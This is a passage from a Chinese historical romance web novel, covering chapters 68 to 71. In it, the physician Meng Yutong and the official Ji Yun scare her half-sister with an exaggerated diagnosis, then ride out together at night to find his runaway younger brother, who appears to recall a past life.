岂料才服下一日,腹部便开始隐隐作痛。起初她并未在意,只当是寻常不适,谁知后来症状非但未减,反折腾得她这两日泻泄不止,浑身虚软。 她这才惊觉,自己怕是染上了时下正肆虐的腹泻之症。 孟玉柔怕极了,早听闻这病症凶险,重者高热不退,神志昏沉,甚是骇人。 秦姨娘也慌了手脚,偏生老夫人又去了城外庄子不在府中,她一时也没了主意。原想带女儿去御街上那几家声名显赫的大医馆求治,可稍一打听才知,那几家不仅诊金高昂,且日日人满为患,挤得水泄不通,根本难以近身。 眼见孟玉柔症状加重,秦姨娘病急乱投医,听闻这桃花街上有家医馆不仅价格公道,坐堂大夫医术也颇为了得,这才硬拉着女儿前来。 只是母女二人一到桃花街,抬头x瞧见医馆匾额上“照隅堂”三个大字,恍然明白这竟是孟玉桐开的那间医馆,顿时面面相觑,踟蹰不敢向前。 正犹豫间,身后人流涌动,推搡着便将她们挤到了后面。 孟玉柔当即就要打道回府。她无论如何也不能给孟玉桐这个作践自己的机会!想前几日她还讥讽孟玉桐终日与病患污秽为伍,生怕过了病气给府中,大闹一场才阻了她回府居住。 谁知孟玉桐前脚刚走,她后脚就染了病,竟还送到对方医馆来求治……想来实在丢人至极! 然而来都来了,秦姨娘岂容她任性回去?便让孟玉柔回马车戴好帷帽遮掩,自己先在外排队,好说歹劝,才勉强说服女儿留下。 孟玉柔定了定神,心下认定,定是孟玉桐窥破了她的身份,不愿真心诊治,才信口雌黄,危言耸听!她的花容月貌,绝不可能因为一碗养颜汤而有损!姨娘也不可能会害她! 孟玉桐静观其色,不紧不慢地又道:“姑娘这两日是否常觉胸脘痞闷,似有郁气难以纾解?是否口中泛苦,纳谷不香,午后周身酸沉乏力?” 孟玉柔一惊,她说的竟然全中! 她顿时有些恼羞成怒,猛地站起身尖声叫道:“你胡说!你根本不懂医术!定是你蓄意报复,在此妖言惑众!” 恰在此时,医馆门口一阵细微骚动,似有人进来。候诊的人群中有认出此人的,纷纷自发让出一条通路。 那人步履沉稳地绕过人群,缓步走近,最终停在了诊台之旁。 白芷与吴明同时出声唤道:“纪医官。” 孟玉柔闻声一僵,方才嚣张的气焰霎时矮了半截。她下意识地攥紧了自己的衣袖,脑中飞快思索:纪医官?难道是纪昀?他为何会在此处? 一时间,她竟心虚得不敢回头去看。 直至纪昀从容地从她身侧绕过,行至孟玉桐右边。刘思钧极有眼力见儿地立刻将自己的位置让了出来,毕竟他自己只能誊抄药方,而纪昀能帮的忙可大得多。 纪昀在孟玉桐身侧安然落座,目光平静地投向梗着脖子、色厉内荏的孟玉柔。 他声音沉缓,听不出情绪:“姑娘若对孟大夫的诊断存有异议,不妨让纪某代为诊视一二。” 孟玉柔犹豫片刻,终究还是在纪昀清冷的目光注视下,迟疑地坐了回去,悻悻地将手腕重新伸了出去。 纪昀抬手搭上她的腕脉,凝神细辨,半晌无声。 这漫长的沉默反而让孟玉柔真正慌了神。她忍不住压着嗓子,怯怯问道:“纪…纪医官,我…我究竟如何?” 纪昀收回手,神色略显凝重,沉吟道:“姑娘脉象弦细而数,湿热之邪内蕴中焦,上犯阳明经络。孟大夫所言非虚,若调理不当,确有……面容浮肿、肤色暗沉之险,恐伤及容颜。” 孟玉柔一听,脸上血色霎时褪去大半,急急追问:“那…那该如何医治?我的脸绝不能有事啊!” 纪昀并未立刻回答,而是转头看向身侧的孟玉桐。 四目相对,孟玉桐眼中掠过一丝清晰的讶异。她未曾料到,一向秉持医道、严谨持正的纪昀,竟会如此配合她。 她是因为看出了眼前此人的身份,故而故意出言恫吓。可纪昀,上一次她为孙桂芳看诊时,因夸大了几句巴豆之害,便被纪昀义正言辞地批了一通,今日却…… 纪昀捕捉到她眼底那抹惊诧,眸中极快地闪过一丝几不可察的笑意。那笑意极淡,在他脸上漾开,却如同冰雪初融,清冷中带一丝温柔。 他语气温和地问道:“孟大夫以为,此症当如何调理为宜?” 孟玉桐压下心头泛起的那一丝奇异之感。她觉得近来的纪昀,似乎与以往有些不同了。那股子生人勿近的冷峻仿佛消融了些许,变得……竟有几分平易近人? 孟玉桐定了定神,开口道:“此症首重静养。需独居一室,避风忌油,一月之内,务必足不出户,以免复感外邪,加重病情。饮食务须清淡,以清粥小菜为主,忌食一切荤腥发物,尤忌甜腻糕饼、油腻炙烤及生冷瓜果。” 她方才所提,皆是孟玉柔平日最嗜之食。末了又添上一句,“更忌心浮气躁,大怒大悲,皆于病体不利。” 孟玉柔听得一愣一愣的,仍觉难以置信。她下意识又望向纪昀,见他神色温润,不由心头一软,存了几分侥幸,柔声问道:“纪医官,当真……需如此严苛么?” 可她话音刚落,便见纪昀脸上那抹罕见的温和顷刻消散,恢复了一贯的清冷疏离,仿佛方才那瞬间的柔和只是她的错觉。 纪昀声音平淡无波,却带着不容置疑的意味:“医者父母心,孟大夫所言句句乃金玉良言。姑娘若想安然,便需谨遵医嘱,勿存侥幸。” 第69章 第69章“玉桐” 孟玉柔被孟玉桐与纪昀一唱一和的“诊治”唬得不轻,心下惶然,也顾不得许多,匆匆捏紧了帷帽轻纱,抓了药便低着头疾步离去。 出了照隅堂,走过望仙桥,于转角僻静处,秦姨娘早已等候多时,此刻已急得如同热锅上的蚂蚁一般。 久等之下,一见女儿身影,立刻扑上前拉住她的手,连声问道:“如何了?给孟玉桐瞧过了?她是怎么说的?你这病症可要紧吗?” 她这一连串的发问更是问得孟玉柔心中一堵。 孟玉柔干脆一把扯下帷帽,狠狠掷入秦姨娘怀中,露出一双哭得通红泛肿的眼,怒斥道:“都怪你!非要寻什么来路不明的养颜古方!如今可好,容颜未养半分,反倒惹来一身病!连纪医官都亲口说了,若不好生静养调理,只怕我这张脸都要坏了!” 秦姨娘一听,顿时慌了神,脸色煞白,手足无措地辩解道:“不、不能啊!那方子是我千辛万苦托人寻来的,熬药的水也是顶干净的井水,怎会……怎会如此严重啊?是不是弄错了啊?” “纪医官?”秦姨娘反应过来,“你不是去给孟玉桐瞧的吗?这纪医官又是谁……” 她话头一顿,眼睛睁大,望着那照隅堂的方向,惊道:“是纪家公子?他怎会在那照隅堂中?他同孟玉桐不是早就退亲了么” 孟玉柔已是心烦意乱,更听不得秦姨娘一直在耳边说个不停,也懒得再与她分辩,冷斥一声,甩开她的手,扭身便气冲冲地往前疾走。 秦姨娘慌忙提起裙摆追了上去,迭声劝道:“柔儿!柔儿!你慢些走,马车就停在前头,当心崴了脚!回去咱们好好喝药,定会无事的!” 照隅堂中,送走了孟玉柔这尊大佛,白芷觉着医馆之中都亮堂了不少。 她撇撇嘴,凑到孟玉桐耳边,压低声音,语气里满是愤愤不平:“姑娘,您何必真替她诊治?就该让她自个儿受着!若不是她前日那般胡闹,您也不至于被逼得搬到这医馆里来住,连觉都睡不安稳。” 孟玉桐莞尔,伸手轻轻揉了揉她的发顶,也学着她那般,故作神秘地凑近耳语:“傻丫头,放心,我岂会真心为她诊治?今日这般吓她一吓,她这段时日必定老老实实缩在府里,再不敢出来生事了。” 白芷这才转嗔为喜,又压低几分嗓音,带着几分小得意道:“其实方才奴婢给她抓药时,特意多摻了几钱黄连,非得苦一苦她那张爱搬弄是非、胡乱告状的嘴不可!” 孟玉桐闻言,眉头微蹙。 白芷以为她心生不悦,正要认错,却听孟玉桐轻叹一声,语气里满是惋惜:“那黄连也是要银钱的,平白浪费在她身上,真是可惜了。” “姑娘说的是!确是便宜她了!”白芷恍然大悟,连连点头。这时后头又有病患催促取药,她便不再多言,转身小跑回柜台继续忙碌。 今日病患众多,孟玉桐未同昨日一般与纪昀客套,两人极有默契地各领一队,左右开弓,同步诊治病患,效率顿时提高了不少。 纪昀端坐于孟玉桐身侧,神色如常地为眼前病患望闻问切,一派清冷自持。 只因堂内空间有限,为容纳更多候诊之人,两人的座位只能安排得极为紧凑,肩臂之间相隔不过两指之距。 故而方才孟玉桐与白芷那番悄悄话,只怕一字不落,全被身旁这人听了去。 孟玉桐睫羽微颤,心下暗忖:听去便听去了,难不成他还能在众目睽睽之下,再次义正辞严地训斥自己一通? 她收敛心神,继续专注于指下的脉息。 正凝神际,忽觉右肩被人极轻地碰了一下。那触感若有似无,带着一丝温热的体温。她略带茫然地侧过脸,x看向身旁正襟危坐、仿佛无事发生的纪昀。 眸中带着询问之意。 纪昀却神色自若,极其自然地将手中那支紫毫笔递了过来,淡淡开口道:“玉桐,有劳帮我蘸墨。” 馆内人声嘈杂,喧闹非凡。可他口中清晰吐出的那两个字,却仿佛带着某种某种力量,清晰地落入她耳中。 孟玉桐额角微微一跳,昨夜那段令人颇感突兀茫惑的记忆倏然又浮上心头。 黑夜之中,新栽的石榴树下,纪昀开口喊她‘玉桐’。 她那时茫然疑惑,一如此时,或者说,此时更甚。 她蹙紧眉头,盯着纪昀那张看似云淡风轻的脸,一只手仍稳稳按在病患腕间,另一只手则探向桌案上的砚台。 她捏起砚台,往两人中间一放,动作间却似失了准头,只听‘啪’的一声轻响,砚台竟脱手落于两人之间,溅出几滴乌黑的墨汁。 其中一两滴,不偏不倚,正落在纪昀伸出的手指上。 孟玉桐终于将憋了一夜的话冷冷吐出,语气带着几分莫名:“纪医官,你我似乎还未熟悉到可直呼我闺名的地步,还请自重。” 纪昀垂眸,目光扫过手背上那点突兀的墨迹,复又抬眼看向她,眼底深邃,似有暗流涌动。 他并未动怒,反而极轻地笑了一下,那笑声低低的,几乎淹没在周围的嘈杂里。 “是纪某唐突了。” 他声音放缓,却带着不容抗拒的意味,“然,纪某一直以为,孟大夫是重诺之人,”他指尖若无其事地拂去那点墨渍,目光沉静如深潭,直直望入她眼底,仿佛要窥见她每一丝细微的情绪波动,“昨日院中,月下种树之时,似乎……已征得孟大夫首肯?” 孟玉桐喉间一哽,昨夜情景倏然浮现。 月光如水,树影婆娑,他立于新栽的石榴树旁,语气自然:‘既已是朋友,互称姓名即可。孟大夫唤我’纪昀‘。纪某亦唤孟大夫姓名。’ 她的确是点了头的。 只是她所理解的“姓名”,是“孟玉桐”三字,而非他此刻脱口而出、带着几分亲昵意味的“玉桐”二字。 她一时语塞,抬眸瞪他,却见对方神色坦荡从容,仿佛确是自己出尔反尔,无理取闹。 周遭病患的咳嗽声、低语声不断传来,实在不是争执此事的时候。 她深吸一口气,终是败下阵来,带着几分无奈妥协,低声敷衍道:“……随你罢。” 左右不过是一个称呼而已,她如此计较,反倒显得她很在意纪昀似的。 横竖嘴长在他身上,他爱唤什么,便随他去罢。 既了结此事,她想起方才纪昀帮着她一起捉弄孟玉柔的事情,便也不拐弯抹角,直接问道:“纪昀,你可认识方才带着篱帽来看诊的粉衣女子?” 纪昀闻她此问,注意到她改了称呼,唇角微不可察地扬起一个极浅的弧度。 她还当真是一点亏都不愿意吃。 他坦然回道:“方才听你与白芷谈话,那位似乎是你的庶妹,孟二姑娘。” 孟玉桐眸中闪过一丝探究:“如此说来,你并不认识她,既然如此,为何方才并不戳穿我,还陪我一起演戏?” “纪某的确不识那位姑娘,”纪昀凤眸微转,目光沉静而专注地落在她脸上,那眼神澄澈而真挚,带着一种令人难以忽视的穿透力。 他字字句句似皆发自肺腑,无半分虚假敷衍,“然,以这段时日的相处,纪某深信,你并非那般任性妄为、视医道病患如儿戏之人。你既如此行事,必有你的缘由。我信你判断,故而愿从旁襄助。” 孟玉桐心下微震。她设想过他诸多可能的说辞,却独独未曾料到,竟是这般简单却又沉重的两个字——信她。 只因信她,这个素来墨守成规、刻板端方的纪昀,竟能为她破例,陪她演这一场于他而言堪称“胡闹”的戏? 一种难以言喻的复杂情绪悄然漫上心头,其中更多是诧异茫然。 她忽然觉得,眼前之人似乎变得有些陌生,不再是记忆中那个冰冷疏离、丝毫挑不出错处的冰山一般的人了。 纪昀变得愈发奇怪了。 她按下心头纷乱,略一斟酌,方开口道:“多谢纪医官信任。不过,我以为,信任归信任,道不同,终难相谋。你我行事风格、处世之道迥然相异,如今不过是恰逢其会,因种种事务暂有交集罢了。实则并非同路之人,强求相处,恐生龃龉,反为不美。” 纪昀闻言,垂在身侧的手指几不可察地悄然收紧。他静默一瞬,复又抬眼看向她,声音依旧平稳,却透着一股奇怪的执拗:“此言纪某不敢苟同。” “你我一同研讨重症药方,一同在此间救治病患,配合无间,何来‘道不同’之说?我欣赏你的医术与仁心,你亦曾言,我们算是朋友。既为朋友,志同道合,为何偏说不宜相处?你这些论断,依据何在?” 他目光灼灼,带着几分不解与坚持,“我不知你心中因何事对我存了偏见与误解,但请你莫要以过往之见来定义如今之事,更勿以此拒我于千里之外。我只希望你能多看看我做了什么。或许,我并非你心中所想的那般模样。” 言罢,他不等她回应,倏然转向一位刚至诊案前的病患,语气恢复了一贯的冷静专业:“这位老人家,何处不适?”面前老人忙不迭同他解释自己的病症。 一切说来也正常。只是细细看,纪昀那微侧的身影,瞧着似乎比平日绷紧了些许。 孟玉桐静默地看着他。看他凝神细听老者陈述病情,侧脸线条清隽而专注;看他指尖搭脉,神情沉稳,一举一动皆严谨认真。 对待医术病患,他向来一丝不苟。他平日行事也大抵如此,似高山冷雪,难起波澜,像一块捂不热的寒冰,又像一截不懂风月的木头。 可她有时又觉得,他那双过于沉静的眼眸深处,仿佛藏着许多不为人知的沉重往事。 前世与他为数不多的相处中,她总觉两人之间隔着一层无形的、厚重的障壁,冰冷而难以逾越。 可如今再看,那坚冰似乎悄然融化了一角,障壁也仿佛变薄了些许…… 她被自己心中这突如其来、纷乱莫名的思绪惊扰,猛地回过神来。 不论纪昀如今变得如何,与她又有何干系? 待此次病乱平息,一切尘埃落定,两人之间便会回归原本的轨迹。他是医官院院判,她是照隅堂的大夫,泾渭分明,再无过多瓜葛。 那才是他们应有的位置。 她收敛心神,亦转过身,重新专注于面前的病患,将方才那片刻的波澜深深掩埋。 第70章 第70章共乘一骑 暮色初合,有纪昀与孟玉桐两道开诊,故而照隅堂今日的诊务比往常提早了结。 甫交酉正,最后一位病患也已抓药离去。馆中诸人难得早早拾掇停当,相偕至对街的庆来饭馆用了顿便饭。 纪昀与李璟并未与众人同往。纪昀诊务一毕,与馆中众人简单打了声招呼,便径直上了二层探视李璟的状况。 李璟热退身轻,病势已去大半,纪昀上来寻他时,他正在屋中与他的侍从玩蛐蛐儿。 见他大体无碍,也不必再继续赖在照隅堂,纪昀便决定带他离开医馆。只是临行之前,李璟却磨磨蹭蹭,寻由拖延,足足耗了小半个时辰,方才一步三回头地跟着纪昀出了门。 送走这两位,照隅堂内很快便恢复了宁静。众人如常洒扫整理,将各类药材器具归置妥当后,见再无他事,便也各自早早歇下,为明日的忙碌养精蓄锐。 小院渐次熄了灯火,唯余清晖月色,静静流淌在窗棂檐角之间。 夜半子时,万籁俱寂。照隅堂的小院浸沐在如水月色中,只闻得草丛间偶尔几声虫鸣,更显庭院深深,安宁祥和。 院中那株新栽的石榴树,枝叶悄然舒展,借着清辉隐约可见绿叶掩映间几点榴红的花苞,怯生生地探出头,于静默中孕育着一股鲜活的生机。 东北角的小屋内,一灯如豆,昏黄的光晕在窗纸上剪出一道纤柔的身影。孟玉桐仍独坐案前,指尖轻缓地掠过书页上的字迹。 这几日稍得空闲,她将《药理》一书细细研读了大半。书页间,纪昀以朱笔留下的注解详尽周全,于药材药性之理解上,每每令她有茅塞顿开之感,受益实多。 她凝眸于那些墨字,笔锋飘逸自有风骨,字字规矩方正,架构严谨,于方寸格律间透着一股刻入骨髓的隐忍与克制。 然而,偶尔有那么几个字,笔势却倏然洒脱不羁,x竟挣脱了那无形的束缚,流露出几分近乎狷狂的豪放意味。 孟玉桐的目光久久停驻在那几个在她看来颇为意外的字上,不由得联想起白日的种种。 孟玉柔本无大碍,不过是服用那性寒的养颜汤药过量,伤了脾胃,引发泄泻,甚至根本算不得时疫。即便不用药,只消静养几日,饮食清淡,便可自愈。 只是她这人,虽素日心宽,许多琐事不愿费神计较,却绝非那等任人搓圆捏扁的软柿子。 她亦有她的脾性与底线。 故而她‘危言耸听’了几句,将孟玉柔的病症夸大了几分,开了些苦口的良药给她服用,只希望她能安安静静地在府里养病,免得总出来给她惹麻烦。 再者,她在府中安心呆着也有好处,少出门,便也少点机率染上时下的腹泻之症,以孟玉柔那娇弱身子,若真染上,怕是难以招架。 这便是她今日诓骗孟玉柔的缘由。 可纪昀,纪昀在她诊治中途而来,分明把出了孟玉柔的症状,却竟面不改色地顺着她的话说了下去,与她配合无间。这与他当日严正驳斥她对孙桂芳胡乱开方要价一事时的反应,截然不同。 便如同他这手稿上的字,那几个意外挣脱了框架、显露出不羁本色的字迹,恰似今日的纪昀。 仿佛悄然摘下了某种戴惯了的面具,不经意间,流露出鲜为人知的另一面。 ‘你既如此行事,必有你的缘由。我信你判断,故而愿从旁襄助。’ 与其相信他当真会因这毫无来由的“信任”二字,便轻易背离自身坚守的原则,不如说……或许真正的纪昀,骨子里或许本就是这般恣意随性之人? 这个念头从脑海中一闪而过时,孟玉桐都觉得,自己的想法似乎有些荒谬。 她与他成亲三载,那些日夜相对的光景里,他从来都是规行矩步,一丝不苟,从无意外。 除了……思及此,她在昏黄灯影下的脸颊不由微微发热。 除了在那件事情上,他偶尔会失了那份持重分寸之外,其余时候,他整个人,便如同由条条框框的道理与规矩严丝合缝地垒砌而成,密不透风。 这也是上一世,她觉得无比挫败之处。好像她怎么努力,都无法真正触及他内心分毫,好像她怎么靠近追逐,都不能融化他心中那层坚冰。 想到此处,她不由轻叹一声,摇了摇头,将心中纷杂的思绪挥散。纪昀有何变化,于如今的她而言,早已无关紧要。 夜色渐深,她合上书册,正欲起身阖窗就寝,忽闻前堂传来一阵急促的敲门声。 那叩门声显然刻意压制着力度,并不算响亮,但频率急切,透露出敲门人心中的焦灼。 她心下微疑,转而移步向前堂走去。这个时辰,会是谁? 待她将门扉拉开一道细缝,屋外灯笼昏黄的光晕立刻勾勒出一道颀长挺拔的身影,阴影倏然笼罩下来。她抬眸看清来人,竟是纪昀。 他气息微乱,额角似有薄汗,素来清冷沉静的面容上,此刻竟清晰地透着几分罕见的焦急。 孟玉桐心下讶异,将门又拉开些,询问道:“出什么事了?” “纪明他可曾来过你这里?”纪昀语速较平日快了些许,目光急切地扫过她身后的昏暗。 孟玉桐茫然摇头:“我许久未曾见过他了。这个时辰,他怎会不在府中?你为何会觉得他会来寻我?” “他前夜惊梦,梦见了些奇怪的事情,或许与你有关,便哭喊着定要来找你,我……”纪昀话语一顿,看了她一眼,眸中神色复杂,欲言又止。 “你未曾应允带他来?”孟玉桐顺着他的话语推测下去,心头莫名一紧,“他便自己偷跑了出来?如今你也找不到?” 纪昀颔首,语气略显僵硬地补充道:“不仅如此……我前日安抚他时,曾许诺昨日便带他来见你。但这两日医馆事务繁杂,我既恐他前来徒增你的负担,又忧他四处乱跑,沾染时疫,故而将他暂锁于房中。 “方才云舟匆忙来报,说是晚间歇息前他人尚在屋内,待夜深再去查看时,才发现他不知何时竟撬开了窗栓,钻过角门的狗洞……偷跑出去了。府中人手已将他平日惯去的场所都寻了一遍,皆无所获。我实在忧心,他是否会执意来寻你,故才深夜前来叨扰。” 听罢纪昀的叙述,孟玉桐不由蹙紧了眉,似是忍无可忍,抬眼睨了他一记,“你怎地连孩童都欺哄?” 纪昀眼中亦掠过清晰的懊悔与自责,“是我虑事不周。此刻只忧心他孤身一人,深更半夜能跑去何处。” “此刻追究这些已是无益,我随你一同去寻。”孟玉桐语速快而果断,说完便转身折回前堂,于案上提笔疾书数字留于纸上,随即利落地掩上照隅堂大门。 她行至纪昀身侧,纪昀先是郑重道了声“多谢”,继而细细告知府中下人已搜寻过之处:纪明的学堂、他常流连的糕点铺、几位交好玩伴的家中…… 两人并肩前行几步,刚踏出照隅堂的屋檐,孟玉桐便瞧见那株老桃树下拴着一匹红棕色骏马。 她忽地停下脚步,仰头看向纪昀:“你是策马而来的?” 纪昀微怔,旋即明白她言下之意,颔首道:“心中焦灼,等不及府中备车。且独身骑马,终究便捷些。” 他语气一顿,显出几分顾虑,“然你我二人共乘一骑,终是于礼不合。不若……” 纪昀方才已说,他找遍了许多纪明常去的地方都未曾见人,只怕他自己再去找,也是徒劳。 她想起他方才所说,纪明是因为做了一个梦,而后醒来哭喊着要找她,她那时心头便生出些隐秘的想法。 纪明不是那等不知轻重,撒泼耍赖的孩子,他半夜闹着要见她,很可能就与他所做的那个梦有关。 她捏紧了身侧的衣裙,纪明他会不会同她一样…… 若是如此,他能去的地方或许不止他平日去的学堂、铺子之类。还有上一世,她带他去过的地方。 “事急从权,寻人要紧,不必拘泥虚礼。”孟玉桐打断他,语气虽淡却坚定。话虽如此,当她举步走向那匹马时,身姿却肉眼可见地微微僵硬了几分。 纪昀凝眸望着她看似镇定却透出些许紧绷的背影,心头似被什么细微的东西触动了一下。他定神,快步跟上,“小心,我扶你上马。” 他快步追上,待在马前站定,便伸手去扶她。 纪昀的掌心温热,极有分寸地托住她的手肘,助她踩镫翻身。动作间,指尖不可避免地轻触到她臂弯的肌肤,两人皆是一顿,迅速分开,空气中弥漫开一丝极淡的窘迫与尴尬。 待孟玉桐略显笨拙地侧坐于鞍上,纪昀随即利落地翻身而上,稳稳落在她身后。 鞍具空间有限,他不得不向前微倾去控缰绳,胸膛几乎贴近她的脊背,温热的呼吸若有似无地擦过她的耳畔。 孟玉桐身子瞬间绷紧,下意识地向前挪了半分。 纪昀似乎也察觉了这过分贴近的距离,握稳缰绳后,便竭力向后靠了靠,试图留出些许空隙。 两人皆目视前方,背脊挺得笔直,姿态僵硬,仿佛化作了两尊石像。 坐定后,孟玉桐深吸一口气,开口道:“去西郊庆乐园看看。” 那是上一世,她常带纪明去的地方。那孩子体质孱弱,常常被拘在四方庭院里,性子偏偏活泼爱动,渴望外头的天地。 家中无人陪他尽情玩耍,她便时常哄他,只要他乖乖用饭、按时歇息,便带他出去散心。 春末夏初时节,西郊庆乐园草长莺飞,最是放风筝的好去处。每回她带他去,看着他拽着风筝线跑得满头大汗、笑得开怀的模样,她心里也跟着柔软起来。 他总是意犹未尽,缠着她下次还要再来。 想起那些记忆,孟玉桐心头蓦地一酸。那孩子……会不会是因那场梦的牵引,凭着模糊的记忆寻去了那里? 她不敢深想,只在心中默念:千万不要出事才好。《 》 70-80 第71章 第71章她也拥有同样的梦境记忆…… 纪昀与孟玉桐共乘一骑,枣红骏马扬蹄,朝着最近的城门——新开门方向疾驰而去。 当孟玉桐说出“西郊庆乐园”这个地点后,纪昀并未出言询问缘由。不知为何,他心中隐隐有种莫名的笃定,既然她觉得该去那里寻找,那便去那里。 骏马很快抵达新开门下。此时已是子时三刻,城门早已下钥紧闭,唯有一名守城护卫靠在门边值守,正打着瞌睡。 马蹄声在寂静的夜里格外清晰,那护卫于是一个激灵,顿时清醒了大半,警惕地握x紧了手中的兵刃。 也正是在这时,马背上的纪昀忽然有了动作。 他轻轻扯了扯孟玉桐的衣袖,孟玉桐猝不及防,被他带着的力道向后微仰,靠入了他的怀中。 她尚未反应过来,纪昀已极其自然地伸出手,将她的肩膀也揽了过来,同时用自己宽大的袖袍迅速罩住了她的头脸,将她整个人密密地护在怀里。 “别动。”他低沉的声音贴着她的耳廓响起,带着温热的气息,“纵使你不在意虚名,但深夜与人共乘,若被瞧见真容,总归于你清誉有损。” 这声音仿佛带着细小的钩子,密密麻麻地钻入她的耳中,甚至能清晰地感受到他胸腔因说话而产生的细微震动。 这样的距离,实在过于亲密了。 她的后背紧贴着他温热坚实的胸膛,隔着薄薄的衣料,几乎能感知其下沉稳的心跳。他身上清冽的药草气息混合着夜风的微凉,将她团团围住,形成一方狭小却闭塞的天地。 孟玉桐在他怀里僵了片刻,终是极轻地动了一下,表示知晓。 感受到怀中人的动作,纪昀暗自松了口气,环着她的手臂却依旧保持着恰到好处的力度,既提供庇护,又不至于让她感到被禁锢。 他目视前方,面色如常。 可孟玉桐却觉着,耳边的心跳微微加速,似乎有些吵闹。 那彻底清醒的护卫此时已举着兵器快步上前,语气不善地喝道:“什么人!宵禁时分,不知规矩吗?” 纪昀微微低头,下颌无意间轻擦过孟玉桐的发顶,他压低了声音,对怀中人道:“劳烦,将我怀中的令牌取出来。” 孟玉桐被他按在怀里的姿势其实颇为别扭,需在马背上扭着身子,一双手也无处安放,方才只能虚虚地环在他腰后。此刻听了他的话,只好撤回一只手,试探地探入他怀中摸索。 指尖所触,是他衣料下温热而坚实的胸膛。 他虽是文官,看着清瘦颀长,但触手之下却肌理分明,蕴藏着内敛的力量。 或许是在他怀里被闷得久了,孟玉桐忽然觉得耳根不受控制地发热……她的手在他胸前摸索了几下,终于触到一个冰凉坚硬的物件。 她将令牌取出,递到纪昀手中。 这块令牌乃是景福公主所赠,凭此可自由出入宫禁,更遑论一座城门了。 纪昀接过令牌,展现在护卫眼前,言简意赅地解释:“有紧急事务,需即刻出城,烦请行个方便。” 那护卫借着月光看清令牌的形制与纹样,心中一震,知晓眼前之人绝非寻常百姓,态度立刻变得恭敬起来,不敢有丝毫怠慢,连忙转身取出钥匙,将沉重的城门推开一道可供马匹通过的缝隙,躬身将两人送了出去。 西郊庆乐园乃是城外一处颇负盛名的园林,内有精巧亭台,遍植奇花异草,园子背面更有一大片开阔草地。每逢春日,城中不少贵女闺秀都喜爱结伴来此踏青游玩。 然而在此夜半时分,园内自是空无一人。 月色黯淡,四周万籁俱寂,唯有夜风拂过草木,发出幽幽的沙沙声响。 偶尔从远处传来一两声虫鸣或不知名的鸟叫,在这静谧的夜里非但不显嘈杂,反而更添几分空旷与寂寥,甚至让人不由得心生怯意,需得壮着胆子前行。 两人策马穿过庆乐园中白日里最是热闹的亭台水榭,径直来到后方那片空旷的草地。 借着稀疏的星光,可见草地中央一块大石上,蜷缩着一个小小的身影。那孩子紧紧抱着自己的双膝,将脸深深埋在其中,单薄的肩膀正细细地颤抖着。 此处漆黑一片,纪明将脑袋埋在膝间,不敢抬头四望。 他也不知自己是凭着怎样一股冲动和执念,竟敢一个人跑到这荒郊野外来。 他想起前日做完那个古怪却又无比真实的梦后,心中害怕,哭着去找兄长。 兄长明明答应第二日就带他去照隅堂见孟姐姐,他为此连学堂都无心去了,只觉得度日如年。 好不容易盼到放学,云舟却又哄他先回府用饭。等他乖乖吃完饭,才发现自己被反锁在了房里——原来兄长根本就没打算带他去! 他起初又哭又闹了两回,后来觉得累了,便不再出声,独自生起闷气来。他心想,既然兄长不带他去,他就自己去! 于是,他假意睡下,待云舟离开后,趁着天刚擦黑还有些微光,便偷偷翻窗而出,小心翼翼地避开府中下人和护卫,钻过那个他早已留意到的狗洞,溜出了纪府。 难过的是,一旦出了府门,他才发现自己根本不认得去照隅堂的路。 他独自一人,又不敢向人打听,生怕一不小心被人发现,又被抓回那个沉闷的府里。 于是只好漫无目的地信步走着,竟阴差阳错地出了城,凭着梦中残存的一点模糊记忆,跌跌撞撞走了近两个时辰,才终于找到了这处梦中出现过的园子。 此刻,他早已精疲力尽,又冷又怕,只好在这片陌生的草地上停下来,缩在石头旁,又冷又怕,不知该如何是好。 纪明摸了摸自己咕咕作响的肚子,心里头一次涌上点儿后悔——早知道要离家出走,晚上那顿饭真该多吃几口的。 还有,明日学堂休假,他怎么连离家出走的日子也不会挑,应该选个要上课的日子才对。 这样就能少听学堂里的夫子唠叨几句了。 他放任这些乱七八糟的念头在脑海里飞奔,仿佛只有这样,才能驱散周遭无边的黑暗和恐惧。 这法子竟也有些效用,想着想着,极度的疲惫袭来,他靠着冰冷的大石头,迷迷糊糊地睡了过去。 他又开始做起了梦。 他梦见自己又在庆乐园这片广阔的草地上奔跑,手里高高举着一只色彩斑斓的大风筝。他一边奋力向前跑,一边回头朝身后的人挥手。 明媚的阳光洒在那人脸上,勾勒出温暖明亮的笑容。那人青绿色的裙摆随着微风轻轻摇曳,像湖面泛起的涟漪。 他感觉手中的线绷得紧紧的,猛地一松手,那只大风筝便“呼啦”一声,挣脱束缚,欢快地冲向了蔚蓝的天空。 他仰着脸,不住地拍手欢呼,声音清脆响亮:“嫂嫂!你看!飞起来啦!再飞高一点!再高一点!” 他正高兴畅快着,耳边忽然传来一阵呼唤。 “纪明……纪明……”那声音由远及近,带着显而易见的焦急,将他一下从阳光灿烂的草地猛地拉了回来。 纪明睫毛颤动,极不情愿地睁开沉重的眼皮。 模糊的视线渐渐清晰,映入眼帘的,竟是兄长纪昀和孟姐姐一左一右蹲在他面前的身影。 他怔住了,一时分不清这究竟是梦,还是真实的景象。 他下意识地、带着委屈和赌气,伸手推了身旁的纪昀一把,然后不管不顾地一头扎进了孟玉桐温暖柔软的怀里,小脑袋一个劲地往里蹭,嘴里还含糊不清地嘟囔着那个熟悉的称呼:“嫂嫂……” 纪明这突如其来的推搡和对孟玉桐的称呼让纪昀动作明显一僵,神色复杂。 孟玉桐则被纪明这依赖的举动弄得心头一紧,几乎是下意识地就环抱住了他单薄的肩膀,轻轻拍抚。 然而,她心中却已是惊涛骇浪。原本只是猜测,但如今,不仅在西郊庆乐园找到了他,他还这般自然地喊出“嫂嫂”……照这情形看,纪明十有八九,也和她一样,想起了“从前”的事。 她压下心惊,声音放得极其温柔细腻,带着安抚的力道:“没事了,没事了……你怎么能自己一个人跑出来呢?这多危险啊。” 纪明扎在这个带着熟悉气息的温暖怀抱里,听着耳边真切的软语关怀,终于彻底清醒过来,意识到这不是梦。 可正因如此,巨大的委屈瞬间涌上心头,小嘴一瘪,眼泪就像断了线的珠子似的往下掉,抽抽搭搭地诉苦:“我、我本来是想去照隅堂找你的……可是、可是我不认识路……我没有办法,只能自己乱走……” 听着纪明带着哭腔的“控诉”,孟玉桐忍不住抬起头,目光带着明显的嫌弃和责备,瞪了纪昀一眼。 纪昀自知理亏,抿紧了唇,没有辩解,只是默默伸出手,想替纪明拂去沾在头发和衣服上的草屑、灰尘。 纪明却像只被惹恼的小兽,猛地拍开他的手,带着哭音吼道:“不要你管!你这个大骗子!” 纪昀的手僵在半空,顿了顿,终x是缓缓收了回去。 